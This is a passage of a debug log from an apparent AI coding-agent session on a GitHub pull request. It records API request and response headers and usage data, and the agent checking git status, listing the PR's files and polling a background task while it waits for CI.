\"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:31.877Z] [INFO]   \"uuid\": \"aad8f891-b806-48d2-add2-2f99ff448c68\",\n[2026-09-29T08:05:31.877Z] [INFO]   \"timestamp\": \"2026-09-29T08:05:31.860Z\",\n[2026-09-29T08:05:31.877Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:05:31.877Z] [INFO]     \"stdout\": \"\",\n[2026-09-29T08:05:31.877Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:05:31.877Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:05:31.877Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:05:31.877Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T08:05:31.877Z] [INFO]     \"backgroundTaskId\": \"bf11qfocy\",\n[2026-09-29T08:05:31.877Z] [INFO]     \"backgroundCwdHint\": \"Session cwd remains /tmp/gh-issue-solver-1790667776920; directory changes made by the backgrounded command do not apply to subsequent commands.\"\n[2026-09-29T08:05:31.877Z] [INFO]   }\n[2026-09-29T08:05:31.877Z] [INFO] }\n[2026-09-29T08:05:32.020Z] [STDOUT] [log_79b5b2] sending request {\n[2026-09-29T08:05:32.026Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:05:32.036Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:05:32.065Z] [STDOUT]   options: {\n[2026-09-29T08:05:32.071Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:05:32.075Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:05:32.080Z] [STDOUT]     body: {\n[2026-09-29T08:05:32.085Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:05:32.088Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:05:32.090Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:05:32.095Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:05:32.098Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:05:32.100Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:05:32.102Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:05:32.111Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:05:32.117Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:05:32.123Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:05:32.127Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:05:32.226Z] [STDOUT]       stream: true,\n[2026-09-29T08:05:32.284Z] [STDOUT]     },\n[2026-09-29T08:05:32.296Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:05:32.307Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:05:32.312Z] [STDOUT]       aborted: false,\n[2026-09-29T08:05:32.314Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:05:32.317Z] [STDOUT]       onabort: null,\n[2026-09-29T08:05:32.321Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:05:32.323Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:05:32.326Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:05:32.329Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:05:32.332Z] [STDOUT]     },\n[2026-09-29T08:05:32.336Z] [STDOUT]     stream: true,\n[2026-09-29T08:05:32.350Z] [STDOUT]   },\n[2026-09-29T08:05:32.353Z] [STDOUT]   headers: {\n[2026-09-29T08:05:32.356Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:05:32.365Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:05:32.369Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:05:32.372Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:05:32.376Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:05:32.380Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:05:32.387Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:05:32.418Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:05:32.538Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:05:32.551Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=178\",\n[2026-09-29T08:05:32.559Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:05:32.563Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:05:32.569Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:32.577Z] [STDOUT]     \"x-client-request-id\": \"b96b5f45-1e94-43d7-9cb4-ab29dd4f51e0\",\n[2026-09-29T08:05:32.583Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:05:32.589Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:05:32.591Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:05:32.596Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:05:32.602Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:05:32.610Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:05:32.619Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:05:32.632Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:05:32.640Z] [STDOUT]   },\n[2026-09-29T08:05:32.645Z] [STDOUT] }\n[2026-09-29T08:05:32.966Z] [STDOUT] [log_79b5b2, request-id: \"req_011CfXPHkPCRnQejHpWwy58H\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 946ms\n[2026-09-29T08:05:32.980Z] [STDOUT] [log_79b5b2] response start {\n[2026-09-29T08:05:32.986Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:05:32.992Z] [STDOUT]   status: 200,\n[2026-09-29T08:05:33.000Z] [STDOUT]   headers: {\n[2026-09-29T08:05:33.006Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:05:33.012Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:05:33.024Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:05:33.032Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.48\",\n[2026-09-29T08:05:33.039Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:05:33.044Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:05:33.051Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:05:33.056Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:05:33.065Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:05:33.073Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:05:33.082Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:05:33.089Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:05:33.096Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:05:33.102Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:05:33.110Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:05:33.122Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:05:33.132Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:05:33.140Z] [STDOUT]     \"cf-ray\": \"a4297bbb29b65d90-FRA\",\n[2026-09-29T08:05:33.149Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:05:33.157Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:05:33.164Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:05:33.177Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:05:33.181Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:05:32 GMT\",\n[2026-09-29T08:05:33.184Z] [STDOUT]     \"request-id\": \"req_011CfXPHkPCRnQejHpWwy58H\",\n[2026-09-29T08:05:33.188Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:05:33.196Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:05:33.202Z] [STDOUT]     traceresponse: \"00-2101ba4764fac0509f42e7979faf3ae7-46278b31325878c4-01\",\n[2026-09-29T08:05:33.211Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:05:33.216Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:05:33.218Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:05:33.224Z] [STDOUT]   },\n[2026-09-29T08:05:33.227Z] [STDOUT]   durationMs: 946,\n[2026-09-29T08:05:33.232Z] [STDOUT] }\n[2026-09-29T08:05:33.235Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:05:33.238Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:05:32 GMT\",\n[2026-09-29T08:05:33.242Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:05:33.244Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:05:33.247Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:05:33.253Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:05:33.256Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:05:33.259Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:05:33.263Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:05:33.266Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:05:33.269Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:05:33.272Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:05:33.276Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:05:33.279Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:05:33.281Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.48\",\n[2026-09-29T08:05:33.284Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:05:33.290Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:05:33.297Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:05:33.300Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:05:33.304Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:05:33.307Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:05:33.309Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:05:33.312Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:05:33.316Z] [STDOUT]   \"request-id\": \"req_011CfXPHkPCRnQejHpWwy58H\",\n[2026-09-29T08:05:33.320Z] [STDOUT]   \"traceresponse\": \"00-2101ba4764fac0509f42e7979faf3ae7-46278b31325878c4-01\",\n[2026-09-29T08:05:33.324Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:05:33.328Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:05:33.330Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:05:33.334Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:05:33.336Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:05:33.338Z] [STDOUT]   \"cf-ray\": \"a4297bbb29b65d90-FRA\",\n[2026-09-29T08:05:33.343Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:05:33.345Z] [STDOUT] [log_79b5b2] response parsed {\n[2026-09-29T08:05:33.347Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:05:33.350Z] [STDOUT]   status: 200,\n[2026-09-29T08:05:33.356Z] [STDOUT]   body: X {\n[2026-09-29T08:05:33.358Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:05:33.363Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:05:33.367Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:05:33.371Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:05:33.375Z] [STDOUT]     },\n[2026-09-29T08:05:33.377Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:05:33.380Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:05:33.382Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:05:33.384Z] [STDOUT]   },\n[2026-09-29T08:05:33.387Z] [STDOUT]   durationMs: 946,\n[2026-09-29T08:05:33.394Z] [STDOUT] }\n[2026-09-29T08:05:33.962Z] [INFO] {\n[2026-09-29T08:05:33.962Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:05:33.962Z] [INFO]   \"message\": {\n[2026-09-29T08:05:33.962Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:05:33.962Z] [INFO]     \"id\": \"msg_011CfXPHknW78AHTMfHFEjDR\",\n[2026-09-29T08:05:33.962Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:05:33.962Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:05:33.962Z] [INFO]     \"content\": [\n[2026-09-29T08:05:33.962Z] [INFO]       {\n[2026-09-29T08:05:33.962Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:05:33.962Z] [INFO]         \"id\": \"toolu_0111rbenRq2ckp359CvNAnRk\",\n[2026-09-29T08:05:33.962Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:05:33.962Z] [INFO]         \"input\": {\n[2026-09-29T08:05:33.962Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; git status --short | head; gh pr diff 648 --name-only\",\n[2026-09-29T08:05:33.962Z] [INFO]           \"description\": \"Confirm clean tree and PR file list\"\n[2026-09-29T08:05:33.962Z] [INFO]         },\n[2026-09-29T08:05:33.962Z] [INFO]         \"caller\": {\n[2026-09-29T08:05:33.962Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:05:33.962Z] [INFO]         }\n[2026-09-29T08:05:33.962Z] [INFO]       }\n[2026-09-29T08:05:33.962Z] [INFO]     ],\n[2026-09-29T08:05:33.962Z] [INFO]     \"container\": null,\n[2026-09-29T08:05:33.962Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:05:33.962Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:05:33.962Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:05:33.962Z] [INFO]     \"usage\": {\n[2026-09-29T08:05:33.962Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:05:33.962Z] [INFO]       \"cache_creation_input_tokens\": 727,\n[2026-09-29T08:05:33.962Z] [INFO]       \"cache_read_input_tokens\": 99765,\n[2026-09-29T08:05:33.962Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:05:33.962Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:05:33.962Z] [INFO]         \"ephemeral_1h_input_tokens\": 727\n[2026-09-29T08:05:33.962Z] [INFO]     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\"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:05:39.251Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:05:39.253Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:05:39.255Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.79\",\n[2026-09-29T08:05:39.257Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:05:39.259Z] [STDOUT]   \"request-id\": \"req_011CfXPJCYJewGKCNTxKFgV3\",\n[2026-09-29T08:05:39.261Z] [STDOUT]   \"traceresponse\": \"00-980067ff0f757e192b2dac374c782d5a-f124f690c5d30395-01\",\n[2026-09-29T08:05:39.262Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:05:39.264Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:05:39.266Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:05:39.268Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:05:39.270Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:05:39.271Z] [STDOUT]   \"cf-ray\": \"a4297be16f725d90-FRA\",\n[2026-09-29T08:05:39.273Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:05:39.275Z] [STDOUT] [log_9bf092] response parsed {\n[2026-09-29T08:05:39.277Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:05:39.280Z] [STDOUT]   status: 200,\n[2026-09-29T08:05:39.282Z] [STDOUT]   body: X {\n[2026-09-29T08:05:39.284Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:05:39.288Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:05:39.299Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:05:39.305Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:05:39.309Z] [STDOUT]     },\n[2026-09-29T08:05:39.311Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:05:39.325Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:05:39.359Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:05:39.373Z] [STDOUT]   },\n[2026-09-29T08:05:39.378Z] [STDOUT]   durationMs: 902,\n[2026-09-29T08:05:39.380Z] [STDOUT] }\n[2026-09-29T08:05:39.831Z] [INFO] {\n[2026-09-29T08:05:39.831Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:05:39.831Z] [INFO]   \"message\": {\n[2026-09-29T08:05:39.831Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:05:39.831Z] [INFO]     \"id\": \"msg_011CfXPJD5oTbvPgpmHQdDnH\",\n[2026-09-29T08:05:39.831Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:05:39.831Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:05:39.831Z] [INFO]     \"content\": [\n[2026-09-29T08:05:39.831Z] [INFO]       {\n[2026-09-29T08:05:39.831Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:05:39.831Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T08:05:39.831Z] [INFO]         \"signature\": \"CAQS/AQKEAgSGAI4AUIIdGhpbmtpbmcSDFbwROOpjxePZuhCuBoMlluX4bu+IBlZquE6IjDGmi6fA8PYy5DS4w/LaVpe29IuTo9ZvVJ9BUdf5XjCAX2M2vXYBz6EJnZeTaFQPZEqmQSpoBv+jdnCOV0hOp7w8qkWLq0U8/blcq1oPKkYBSjYs9tAF3LDgt70AhBKIsEX2z4PYL/1GByGi0yhOFqppR1h79stdjkcg/xeBzxb7CeVqgWjkWnu9bFme9VyRaA/DkYlK4WT+wbIaOpuNN4TcpkbhJJ9tXHLwgoWeKy+0MEYp14vtluhhyJxSHRbUE8EA27cgrTubmX/zLJZxB0hPiAtI9uhtbVdpddgoqUIuQXvukOQNla66H75KtNhfM82qPW/NyTI4f/ZKB7BxoPmB0D2BDIrjHBGoK6yHkxMMK+frff8i5eG0YReBpLZs1GKzY/ZivKR+NBa9QCrFsl+4Saob3PC4O8iCAKjYwRe1k+G4DJzARt9oGij+c/3rAY/ZfjiTFy8Pk2CJRYT/GMW1hLiGXgIHxkAVBAgR1zq9gsD1yJQAGXSP7Cw4vmE5+ZZad/I4NPIloey6Ddh5xhBMWEKr5Ppuwe8G4wmCwU+9KKICeKxQJ/FvoOCd8p5AlQ/mlVVEMj/NGKTFjRgx31Wy6fTWpKUCvLvelbGqe+FbcOe2X2ErapX1WbimTEdFUfUSinhoJ3OCGmwa+lZX6t5ELjA3y6tdZMrtB4iAcMFKjSj7uXwvxiiSTq2PTx8CsKKi5WZ343iaOJeOCHIYFNnKcVzgaWvbWPoOrHpbXcq/4HnEKH1zfemDjMnCQ52N6Ponf/JEcQs484ba+oYAQ==\"\n[2026-09-29T08:05:39.831Z] [INFO]       }\n[2026-09-29T08:05:39.831Z] [INFO]     ],\n[2026-09-29T08:05:39.831Z] [INFO]     \"container\": null,\n[2026-09-29T08:05:39.831Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:05:39.831Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:05:39.831Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:05:39.831Z] [INFO]     \"usage\": {\n[2026-09-29T08:05:39.831Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:05:39.831Z] [INFO]       \"cache_creation_input_tokens\": 255,\n[2026-09-29T08:05:39.831Z] [INFO]       \"cache_read_input_tokens\": 100492,\n[2026-09-29T08:05:39.831Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:05:39.831Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:05:39.831Z] [INFO]         \"ephemeral_1h_input_tokens\": 255\n[2026-09-29T08:05:39.831Z] [INFO]       },\n[2026-09-29T08:05:39.831Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:05:39.831Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:05:39.831Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:05:39.831Z] [INFO]     },\n[2026-09-29T08:05:39.831Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:05:39.831Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:05:39.831Z] [INFO]     \"context_management\": null\n[2026-09-29T08:05:39.831Z] [INFO]   },\n[2026-09-29T08:05:39.831Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:05:39.831Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:39.831Z] [INFO]   \"uuid\": \"c087a928-bc3e-49d6-94c9-645e64d69eb9\",\n[2026-09-29T08:05:39.831Z] [INFO]   \"timestamp\": \"2026-09-29T08:05:39.807Z\",\n[2026-09-29T08:05:39.831Z] [INFO]   \"request_id\": \"req_011CfXPJCYJewGKCNTxKFgV3\"\n[2026-09-29T08:05:39.831Z] [INFO] }\n[2026-09-29T08:05:39.843Z] [INFO] {\n[2026-09-29T08:05:39.843Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:05:39.843Z] [INFO]   \"message\": {\n[2026-09-29T08:05:39.843Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:05:39.843Z] [INFO]     \"id\": \"msg_011CfXPJD5oTbvPgpmHQdDnH\",\n[2026-09-29T08:05:39.843Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:05:39.843Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:05:39.843Z] [INFO]     \"content\": [\n[2026-09-29T08:05:39.843Z] [INFO]       {\n[2026-09-29T08:05:39.843Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:05:39.843Z] [INFO]         \"text\": \"The working tree is clean. The PR diff contains exactly the four intended files, and `.gitkeep` nets out. Waiting for CI:\"\n[2026-09-29T08:05:39.843Z] [INFO]       }\n[2026-09-29T08:05:39.843Z] [INFO]     ],\n[2026-09-29T08:05:39.843Z] [INFO]     \"container\": null,\n[2026-09-29T08:05:39.843Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:05:39.843Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:05:39.843Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:05:39.843Z] [INFO]     \"usage\": {\n[2026-09-29T08:05:39.843Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:05:39.843Z] [INFO]       \"cache_creation_input_tokens\": 255,\n[2026-09-29T08:05:39.843Z] [INFO]       \"cache_read_input_tokens\": 100492,\n[2026-09-29T08:05:39.843Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:05:39.843Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:05:39.843Z] [INFO]         \"ephemeral_1h_input_tokens\": 255\n[2026-09-29T08:05:39.843Z] [INFO]       },\n[2026-09-29T08:05:39.843Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:05:39.843Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:05:39.843Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:05:39.843Z] [INFO]     },\n[2026-09-29T08:05:39.843Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:05:39.843Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:05:39.843Z] [INFO]     \"context_management\": null\n[2026-09-29T08:05:39.843Z] [INFO]   },\n[2026-09-29T08:05:39.843Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:05:39.843Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:39.843Z] [INFO]   \"uuid\": \"b3bda9d4-2c8b-406d-8031-1b91b56d9c29\",\n[2026-09-29T08:05:39.843Z] [INFO]   \"timestamp\": \"2026-09-29T08:05:39.813Z\",\n[2026-09-29T08:05:39.843Z] [INFO]   \"request_id\": \"req_011CfXPJCYJewGKCNTxKFgV3\"\n[2026-09-29T08:05:39.843Z] [INFO] }\n[2026-09-29T08:05:42.890Z] [INFO] {\n[2026-09-29T08:05:42.890Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:05:42.890Z] [INFO]   \"message\": {\n[2026-09-29T08:05:42.890Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:05:42.890Z] [INFO]     \"id\": \"msg_011CfXPJD5oTbvPgpmHQdDnH\",\n[2026-09-29T08:05:42.890Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:05:42.890Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:05:42.890Z] [INFO]     \"content\": [\n[2026-09-29T08:05:42.890Z] [INFO]       {\n[2026-09-29T08:05:42.890Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:05:42.890Z] [INFO]         \"id\": \"toolu_01YG3xDZESjaLs9PquyHaNUu\",\n[2026-09-29T08:05:42.890Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:05:42.890Z] [INFO]         \"input\": {\n[2026-09-29T08:05:42.890Z] [INFO]           \"command\": \"until grep -q 'exit' /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bf11qfocy.output 2>/dev/null && [ $(grep -c exit /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bf11qfocy.output) -ge 2 ]; do 